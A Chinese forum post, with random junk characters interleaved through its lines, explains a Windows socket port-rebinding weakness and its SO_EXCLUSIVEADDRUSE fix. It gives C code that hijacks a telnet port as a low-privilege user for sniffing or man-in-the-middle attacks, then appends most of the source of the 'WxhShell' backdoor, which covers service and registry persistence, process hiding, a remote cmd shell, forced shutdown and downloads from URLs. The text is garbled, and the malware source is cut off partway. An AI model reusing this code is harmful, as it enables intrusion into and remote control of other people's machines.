在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#s\yO~F- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4Hf'/%kW !sI^Lh,Y saddr.sin_family = AF_INET;
jt6_1^ 1
Lg {l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
?Mo)&,__ = =pQ
V[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)g8Kicox5 ;>ml@@Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b (HJ| wGs'qL"z 这意味着什么?意味着可以进行如下的攻击:
_M8'~$Sg EVqqOp1$v4 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
au=@]n#<( )xU+M{p-os 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6X'0 T} 7fWZ/;p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8H};pu2 |ul{d| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
fA1{-JzV<4 VPO~veQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s."N7F b~<V}tJ
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zI^:{]p WaX!y$/z 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Dby|l#X dlZ2iDQ% #include
Ed0}$b #include
nZYO}bv\ #include
j7I?K
:op= #include
kene'
aDm DWORD WINAPI ClientThread(LPVOID lpParam);
,V5fvHPH)8 int main()
#$U/*~m $ {
^pY8'LF6 WORD wVersionRequested;
+:aNgO#e8 DWORD ret;
,qB@agjvo< WSADATA wsaData;
e+#k\x BOOL val;
Ht}?=ZzW SOCKADDR_IN saddr;
v`Y{.>[H[ SOCKADDR_IN scaddr;
ql5&&e=- int err;
W4P\HM>2 SOCKET s;
<h+UC# .x SOCKET sc;
FD%OG6db]; int caddsize;
(u@X5O(a HANDLE mt;
NyC&j`d DWORD tid;
TntTR"6aD wVersionRequested = MAKEWORD( 2, 2 );
7;.Iat9gMf err = WSAStartup( wVersionRequested, &wsaData );
z^9rM" if ( err != 0 ) {
fWIWRsy% printf("error!WSAStartup failed!\n");
lOb(XH9 return -1;
-+2A@kmEJ }
4%<wxrod saddr.sin_family = AF_INET;
G[`2Nd< inq
{" 6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
eq"Xwq* q TWQ! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ur1kb{i saddr.sin_port = htons(23);
}{PG^ Fc<P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T#Bj5H {
G"L`9E<0V printf("error!socket failed!\n");
3,hu3"@k return -1;
|eye) E: }
f*xv#G val = TRUE;
:YX5%6 //SO_REUSEADDR选项就是可以实现端口重绑定的
iN0'/)ar if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fV6ddh {
'F/uD1; printf("error!setsockopt failed!\n");
c%wztP;L return -1;
lc [)Ev }
LV$Ko_9eA //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
c*R\fQd //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ed-3-vJej6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g#1Y4 I;?PDhDb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Ms3GvPsgv {
hVFZQJ?cv ret=GetLastError();
211T}a printf("error!bind failed!\n");
Fwvc+ a return -1;
Tk 'Pv }
9G7Br s: listen(s,2);
Bz%wV- while(1)
Wi\k&V.mE {
\fvm6$ rZ^ caddsize = sizeof(scaddr);
_ q>|pt.W //接受连接请求
|h/{qpsu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
K0I.3|6C if(sc!=INVALID_SOCKET)
Ix(,gDN {
Ne3YhCC> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-~_|ZnuM9 if(mt==NULL)
y>T> {
Tgla_sMb printf("Thread Creat Failed!\n");
b8%TwYp break;
{od@Sl }
&(p5z4Df }
pnL[FMc CloseHandle(mt);
hc9ON&L\> }
jWvi%Iqi closesocket(s);
O^ &m WSACleanup();
N<Ym&$xR return 0;
BT3yrq9 }
nLANWQk9 DWORD WINAPI ClientThread(LPVOID lpParam)
~GJ;;v1b2 {
/Q89 y[ SOCKET ss = (SOCKET)lpParam;
QTN24 q4 SOCKET sc;
v7hw% 9(= unsigned char buf[4096];
m9DTz$S. SOCKADDR_IN saddr;
v<(+ l)Ln long num;
$|[N3 DWORD val;
k#/cdK!K DWORD ret;
#2Vq"Zn //如果是隐藏端口应用的话,可以在此处加一些判断
p)m5|GH24 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>b:5&s\9 saddr.sin_family = AF_INET;
'X4)2iFV saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xBf->o S? saddr.sin_port = htons(23);
U1rr=h
g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zqQ[uO]m? {
)>"Ky printf("error!socket failed!\n");
$Tt.r return -1;
@W==)S%O }
;"RyHow val = 100;
V)u#=OS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QOPh3+.5 {
SL+n y(y ret = GetLastError();
p"H/N_b4 return -1;
<7L-25 = }
O69TU[Vn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~*^o[~x]\ {
B*tQ0` ret = GetLastError();
{F\P3-ub return -1;
*/@I$* }
3rJ LLYR if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
MJH>rsTQ {
^Q+z^zlC printf("error!socket connect failed!\n");
|942#rM closesocket(sc);
Z0XQ|gkH closesocket(ss);
<y7Hy&&y- return -1;
-H|!KnR }
YV>&v.x0; while(1)
d@b2XCh<K {
eE;j#2SEO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
V pY,@qh //如果是嗅探内容的话,可以再此处进行内容分析和记录
8b4?
O" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
jJ'NYG num = recv(ss,buf,4096,0);
"&;X/~j if(num>0)
*M>~$h7 send(sc,buf,num,0);
w`M`F<_\: else if(num==0)
RjrQDh|(( break;
ip*^eS^ num = recv(sc,buf,4096,0);
4/ q
BD if(num>0)
Y~#F\v send(ss,buf,num,0);
;'[?H0Jw' else if(num==0)
y~M6 break;
+Ll29Buyi }
"Wb KhE closesocket(ss);
bB*cd!7y closesocket(sc);
uGYH4
return 0 ;
OI6m>XH? }
t!B,%,Dp J'WOqAnPZ =`CK`x ==========================================================
#i.BOQxS gt~u/Z% 下边附上一个代码,,WXhSHELL
pQ4HX)<P ~[BGKqh ==========================================================
PB BJ.!Pb CU*;>h1~u #include "stdafx.h"
FBzsM7]j `@u9 fx. #include <stdio.h>
n%02,pC6, #include <string.h>
y;P%=MP #include <windows.h>
V;Ln|._/t #include <winsock2.h>
[`bK {Dq2 #include <winsvc.h>
E2`9H-6e #include <urlmon.h>
Of9 gS-m K05T`+N, #pragma comment (lib, "Ws2_32.lib")
q$ j #pragma comment (lib, "urlmon.lib")
A\E ))b9+ txX>zR*)
#define MAX_USER 100 // 最大客户端连接数
sP=^5K`g #define BUF_SOCK 200 // sock buffer
]j$(so" #define KEY_BUFF 255 // 输入 buffer
mGF)Ot R d+0= a] #define REBOOT 0 // 重启
W58%Zz4a #define SHUTDOWN 1 // 关机
A
;|P\V 0|=y#`;,Z #define DEF_PORT 5000 // 监听端口
+-5YmN' I@#IXH?6 #define REG_LEN 16 // 注册表键长度
*Z2Ko5&Y2 #define SVC_LEN 80 // NT服务名长度
`ooHABC rx<P#y]3) // 从dll定义API
=fB"T+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K;w]sN+I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N+pCC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
^.~e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Jv]$@># wqzpFPk( // wxhshell配置信息
hx:^xW@r4P struct WSCFG {
(_gt!i{h int ws_port; // 监听端口
Y\4B2:Qd9 char ws_passstr[REG_LEN]; // 口令
)N\ BC int ws_autoins; // 安装标记, 1=yes 0=no
/paZJ}Pr. char ws_regname[REG_LEN]; // 注册表键名
)%8st' char ws_svcname[REG_LEN]; // 服务名
.O&YdUo char ws_svcdisp[SVC_LEN]; // 服务显示名
|fgh
ryI, char ws_svcdesc[SVC_LEN]; // 服务描述信息
#hXvGon$? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+u&3pK>f int ws_downexe; // 下载执行标记, 1=yes 0=no
t/3qD7L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0&tr3!h\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
yDRi ^B7Ls{ };
w:R#F(
'B FNo.#Z5+b // default Wxhshell configuration
n(SeJk%>9 struct WSCFG wscfg={DEF_PORT,
m6gMVon "xuhuanlingzhe",
r{Mn{1:O 1,
?papk4w "Wxhshell",
)6o%6$c "Wxhshell",
wuSotbc/ "WxhShell Service",
6/"#pe^ "Wrsky Windows CmdShell Service",
`/B+ "Please Input Your Password: ",
z+zEH9.' 1,
J*Cf1 D5! "
http://www.wrsky.com/wxhshell.exe",
H"?Ndl: "Wxhshell.exe"
IaO&f<^#o };
~K(mt0T) 2j]uB0 // 消息定义模块
$Ny: At char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
WfTl\Dxw char *msg_ws_prompt="\n\r? for help\n\r#>";
dqFp"Xe"% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;Qc^xIPy char *msg_ws_ext="\n\rExit.";
WQBV~.<Yv char *msg_ws_end="\n\rQuit.";
"2 :zWh7| char *msg_ws_boot="\n\rReboot...";
yOk{l$+ char *msg_ws_poff="\n\rShutdown...";
Jq8v69fyQ char *msg_ws_down="\n\rSave to ";
8{6`?qst@ f*p=j(sF char *msg_ws_err="\n\rErr!";
,;<M+V3+ char *msg_ws_ok="\n\rOK!";
HJlxpX$_ _|;{{8*? char ExeFile[MAX_PATH];
w`dSc@ : int nUser = 0;
7>AMzNj HANDLE handles[MAX_USER];
D^f;X.Qm int OsIsNt;
,,7hVw 4VC8#x1 SERVICE_STATUS serviceStatus;
q_"w,28 SERVICE_STATUS_HANDLE hServiceStatusHandle;
b"OH Xu ?t/\ ID // 函数声明
m5,&;~ int Install(void);
"QBl
"<<s int Uninstall(void);
p
)WRsJ8 int DownloadFile(char *sURL, SOCKET wsh);
J90
)v7 int Boot(int flag);
##Qy6Dc void HideProc(void);
4Bt)t#0 int GetOsVer(void);
T!^v^m@>y int Wxhshell(SOCKET wsl);
\+x#aN\ void TalkWithClient(void *cs);
&(|Ot`el]v int CmdShell(SOCKET sock);
]c6h'} int StartFromService(void);
10N0?K" int StartWxhshell(LPSTR lpCmdLine);
O&VA79\UO {Wfwf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
- "{hP VOID WINAPI NTServiceHandler( DWORD fdwControl );
OgHqF,0MN @,LU!#y( // 数据结构和表定义
I\IDt~ SERVICE_TABLE_ENTRY DispatchTable[] =
FiXqypT_( {
F4ylD5Y! {wscfg.ws_svcname, NTServiceMain},
x<.(fRv {NULL, NULL}
^}J,;Zhu5 };
jBd=!4n ,)VAKrSg // 自我安装
{j4&'=C: int Install(void)
JcfGe4 {
ZzP&Zrm char svExeFile[MAX_PATH];
oqg +<m HKEY key;
,v?FR
}v strcpy(svExeFile,ExeFile);
_'n]rQ' 9XUk.Nek // 如果是win9x系统,修改注册表设为自启动
b%0@nu4 if(!OsIsNt) {
dh%DALZ8t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V`1x![\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6l2Os
$ RegCloseKey(key);
?>gr9w\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S9'Xsh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;3%Y@FS@ RegCloseKey(key);
UVW4KUxR return 0;
vjA!+_I6 }
@twi<U_ }
r>sXvzv }
\c!e_rZ else {
#CW{y?= #<#-B v // 如果是NT以上系统,安装为系统服务
w?Cho</Xu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
V0%a/Hi v
if (schSCManager!=0)
J5z\e@?.0\ {
>X=V Ph8 SC_HANDLE schService = CreateService
*<}R=X. (
X0]$Ovq( l schSCManager,
]K%d wscfg.ws_svcname,
Oh,Xjel wscfg.ws_svcdisp,
#5iwDAw:|r SERVICE_ALL_ACCESS,
$Yw~v36`t/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!Fs<r)j SERVICE_AUTO_START,
,8cVv->u/ SERVICE_ERROR_NORMAL,
j zwHb'4B3 svExeFile,
aN!,\D NULL,
,kl``w|1M NULL,
0oqOX NULL,
vJsg6oH NULL,
9hJ
a K NULL
ZkNet>9 );
4ti,R' if (schService!=0)
U r8JG&, {
,| j\x CloseServiceHandle(schService);
z.OJ1vY7 CloseServiceHandle(schSCManager);
?JW/Stua strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0n={Mb strcat(svExeFile,wscfg.ws_svcname);
90ov[|MkM if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
kv2 H3O RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2Zg%4/u,Zp RegCloseKey(key);
~B7<Yg return 0;
VZ7E#z+nM# }
fwa*|y; }
ZS`9r16@b CloseServiceHandle(schSCManager);
d@tNlFfS }
Q!I><u }
j(M.7Z7^ $bN_0s0:' return 1;
Xo6zeLHO }
}Nma %6PfV EoS6t // 自我卸载
g!)*CP#; int Uninstall(void)
]O0u.=1k {
|:SIyXGbY HKEY key;
^S)t;t@x 7ZUS if(!OsIsNt) {
~NO7@muw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1O1MB&5% RegDeleteValue(key,wscfg.ws_regname);
-$,'|\Y RegCloseKey(key);
Owv}lJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WHu[A/##'] RegDeleteValue(key,wscfg.ws_regname);
JIf.d($
~: RegCloseKey(key);
8x 8nQ*_ return 0;
ll?Qg%V[t }
Nk1p)V SC }
PO|gM8E1x? }
cE?p~fq< else {
r[#*..Y 0W~1v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
L(C0236r if (schSCManager!=0)
f>m! }F: {
#IJ6pg>K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
X +/^s) if (schService!=0)
\KKE&3= {
~y/qm
[P if(DeleteService(schService)!=0) {
^S(QvoaQ CloseServiceHandle(schService);
A-h[vP!v| CloseServiceHandle(schSCManager);
o
:j'd return 0;
>D_)z/v?" }
$2a_!/ CloseServiceHandle(schService);
6zGeGW }
]H<}6}Gd CloseServiceHandle(schSCManager);
V|/N-3M }
?.c:k;j }
6w_TL<S =%B}8$.| return 1;
*o<|^,R }
urQ<r{$x0 zXkq2\GHA // 从指定url下载文件
&egP3 int DownloadFile(char *sURL, SOCKET wsh)
<X?xr f {
CX;
m8 HRESULT hr;
H;+98AIy` char seps[]= "/";
48{B} j%oU char *token;
X9C:AGbp char *file;
y!|4]/G]?t char myURL[MAX_PATH];
+=*ND<$n/E char myFILE[MAX_PATH];
$F]*B
` g'EPdE strcpy(myURL,sURL);
di<g"8 token=strtok(myURL,seps);
+;bZ(_ohG while(token!=NULL)
:*cd$s {
'CRjd~L file=token;
[]?*}o5&>T token=strtok(NULL,seps);
/74)c~.W }
Gsz$H_ ]}.|b6\ GetCurrentDirectory(MAX_PATH,myFILE);
^Of\l:q* strcat(myFILE, "\\");
g``S SU strcat(myFILE, file);
c4bv Jy8 send(wsh,myFILE,strlen(myFILE),0);
7Oi<_b send(wsh,"...",3,0);
7324#Hw S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5JG`FRW! if(hr==S_OK)
om6`>I* return 0;
Vygh|UEo else
Gc;-zq return 1;
/sqfw,h@ f*^bV_ }
SjcX|=S Ix0#eoj // 系统电源模块
Eks<O int Boot(int flag)
=!/T4Oo {
$MM[`^~ HANDLE hToken;
N5tFEV'G TOKEN_PRIVILEGES tkp;
]jR-<l8I- L\"eE'A if(OsIsNt) {
{#&D=7LP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
jPg[LZQ' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
VS65SxHA tkp.PrivilegeCount = 1;
N1U.1~U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'Hu+8,xA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
rY$wC% if(flag==REBOOT) {
ppeF,Q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
V2g"5nYT return 0;
\\Z?v,XsS }
}$* z:E else {
Q_*.1L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&0{&4, return 0;
BT
f }
Hdjp^O! }
\JP9lJ3< else {
]UZP dw1D if(flag==REBOOT) {
ghk"XJ| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}$a*XY1 return 0;
r/QI-Cf& }
6HH:K0j3' else {
v(,YqT>q@U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{RD9j1 return 0;
f3<2531/} }
dx.Jv/Mb }
%mOQIXr1s aED73:b return 1;
Z'd]oNF }
%d
/]8uO 'a~F'FN$ // win9x进程隐藏模块
=~q$k void HideProc(void)
`Y,Rk {
NYR:dH]N~d r_o\72 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
X#X/P if ( hKernel != NULL )
J~N!. i {
MI`<U:-lP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1b@]^Ue ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
[5GzY`/m FreeLibrary(hKernel);
dX-j3lM:# }
;U? 323Z WGUd@lC~ return;
`J;g~#/k }
SN$3cg]z ,5x9o"N! // 获取操作系统版本
yEVnG`
1
int GetOsVer(void)
_gpf9ad {
v}@Uc-( OSVERSIONINFO winfo;
HYNp vK winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C~M,N|m+^ GetVersionEx(&winfo);
qI[AsM+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Io('kCOR; return 1;
unr`.}A2> else
mlz|KI~\F; return 0;
HrRw }
S4!B;,?AxN }3-`e3 // 客户端句柄模块
WHRBYq_ int Wxhshell(SOCKET wsl)
j(c;r> {
)t,efg SOCKET wsh;
`mquGk|) struct sockaddr_in client;
]zI*}(adu DWORD myID;
;NGSJfn 66po SZR@ while(nUser<MAX_USER)
m;vm7]5 {
l_ LH!Tu int nSize=sizeof(client);
ZtpbKy!\$B wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"}0)~,{xB if(wsh==INVALID_SOCKET) return 1;
Ls&-8 -R`nitf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y{8}z
ZD if(handles[nUser]==0)
$$'[% closesocket(wsh);
c7R6.T else
!]&+g'aC3 nUser++;
] B>.} }
~hT(uxU/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A=np?wc 6L-3cxqf\ return 0;
U \F ?{/ }
-I~\ `L3{y/U' // 关闭 socket
\{o<-S;h void CloseIt(SOCKET wsh)
Mp@dts/| {
=3GgfU5k closesocket(wsh);
~;oaW<" nUser--;
ra1_XR} ExitThread(0);
bFJ>+ {# }
9Wdx"g52_D r$,Xv+} // 客户端请求句柄
Ubh)}G,Mg void TalkWithClient(void *cs)
)OFf nKh {
mD,fxm{G q oz[x SOCKET wsh=(SOCKET)cs;
VrJf g char pwd[SVC_LEN];
5zF$Q {3 char cmd[KEY_BUFF];
5$*=;ls>J char chr[1];
~vMJ?P@ int i,j;
zSBR_N51 F 2Mxcs*M while (nUser < MAX_USER) {
3WPZZN<K9 /WI H#M if(wscfg.ws_passstr) {
t1!>EI` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
kU{a!ca4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,/dW*B //ZeroMemory(pwd,KEY_BUFF);
es\Fn#?O i=0;
t*Z4&Sy^ while(i<SVC_LEN) {
.F0Q<s9 h<g2aL21?F // 设置超时
VD+v\X_ fd_set FdRead;
|[$TT$Fb struct timeval TimeOut;
OS=~<ba FD_ZERO(&FdRead);
t~Qj$:\ FD_SET(wsh,&FdRead);
-CTLQyj) TimeOut.tv_sec=8;
a*nCvZ
TimeOut.tv_usec=0;
wKbU}29c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8,)<,g-/= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
b\UE+\a& )vGxF}I3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
O*>`md?MH pwd
=chr[0]; perhR!#J
if(chr[0]==0xd || chr[0]==0xa) { 9e;:(jl^
pwd=0; eo&G@zwN
break; $kxu-
} j$P`/-N
i++; g2YE^EKU~
} z#6(PZC}
,]tMZ?n8
// 如果是非法用户,关闭 socket m-Qy6"eW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l(8@?t^;
} #d$lN}8
r>6FJ:Tx
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $NBQv6#:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;S'1fci6
x}O J~Yk]
while(1) { NOl/y@#
8>|<m'e^\r
ZeroMemory(cmd,KEY_BUFF); $|I hO
nHQWO
// 自动支持客户端 telnet标准 !#PA#Q|cO
j=0; (Y
while(j<KEY_BUFF) { MSe>1L2=
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AH^ud*3F
cmd[j]=chr[0]; IB^vEY!`6_
if(chr[0]==0xa || chr[0]==0xd) { jM>;l6l
cmd[j]=0; m:cWnG
break; k8,s<m
} .RWq!Z=)3
j++; _D8:p>=
} _TbvQY
9 6%N
// 下载文件 n
m.5!.
if(strstr(cmd,"http://")) { WdbHT|.Aj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [f]:hJi
if(DownloadFile(cmd,wsh)) !j9(%,PR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PVrNS7 Rk/
else q,=YKw)*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /mK]O7O7
} A$l
else { }&^1")2t
C-H6l6,
switch(cmd[0]) { BuOe'$F
0t
;7(vqm<V2~
// 帮助 wNMA)S
case '?': { rE?B9BF3O
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r>t|.=!
break; 07>D G#
} m[hHaX
// 安装 Q}1qt4xy*
case 'i': { -#r=
if(Install()) 'K|F{K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Dasj8GsV
else Gyc_B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <,J O
break; 1|$J>
} y)3OQ24
// 卸载 xo{z4W
case 'r': { 5oo6d4[
if(Uninstall()) [2ri=lf,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;VbB]aUg
else }*7Gq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~31-)*tJ]
break; 4\ny]A:~
} ?_.
SV g
// 显示 wxhshell 所在路径 Pxgal4{6
case 'p': { 8Y;2.Z`Rz
char svExeFile[MAX_PATH]; g>{t>B%v^K
strcpy(svExeFile,"\n\r"); j+2-Xy'
strcat(svExeFile,ExeFile);
g ~%IA.$c
send(wsh,svExeFile,strlen(svExeFile),0); Or-LQ^~
break; qKs"L^b
} n.1$p
// 重启 uIR
case 'b': { u\)q.`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }+F@A`Bm&
if(Boot(REBOOT)) DO~~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Suww@<
else { kWgrsN+Z
closesocket(wsh); aUKa+"`S
ExitThread(0); sfsK[c5bm
} 9-y<= )
break; Xet}
J@C
} T^Hq 5Oy
// 关机 bs)Ro/7}
case 'd': { ^%qQ)>I=j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O)`ye5>v
if(Boot(SHUTDOWN)) \4uj!LgTb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P,k=u$
else { ngzQVaB9
closesocket(wsh); dDl_Pyg4K
ExitThread(0); @`HW0Y_:
} aQV? }
break; KD'}9{F,
} vSk1/
// 获取shell S0;s
7X#c
case 's': { cK'}+
CmdShell(wsh); ;>Z0e`=
closesocket(wsh); I3 YSW
ExitThread(0); 3
op{h6
break; th+LScOX
} Q1x=@lXR
// 退出 la`f@~Bbr1
case 'x': { isz-MP$:K5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {-yw@Kq
CloseIt(wsh); YyC$\HH6
break; >FL%H=]
} ty8E;['
// 离开 "4.A@XsY
case 'q': { ![m6$G{y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ilQt`-O!
closesocket(wsh); //yz$d>JN
WSACleanup(); COA>y?
exit(1); 8/-hODoT_
break; 5B;;{GR
} Y7 e1%,$v
} _] us1
} (_fovV=
aQ0pYk~(
// 提示信息 ](z*t+">
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,6x>gcR
} RF'&.RtVa
} ~P"o_b6,k
A#]78lR
return; 5PE}3he:
} u3IhB8'
"nU] 2
// shell模块句柄 P -X2A2
int CmdShell(SOCKET sock) ^NO4T
{ MK <\:g
STARTUPINFO si; P5v;o9B&
ZeroMemory(&si,sizeof(si)); LVJn2t^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &,$N|$yK}|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ra^"Vr
PROCESS_INFORMATION ProcessInfo; %t]{C06w+{
char cmdline[]="cmd"; Z5[g[Q
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ce} m_
return 0; Uf~5Fc1d =
} LB^xdMXi
MZ>Q Rf
// 自身启动模式 lOHW9Z
int StartFromService(void) Y9B"yV
{ 5)ooE
typedef struct a&B@F]+
{ '>t'U?7w<
DWORD ExitStatus; 5`q#~fJ2
DWORD PebBaseAddress; 9y j'->dL
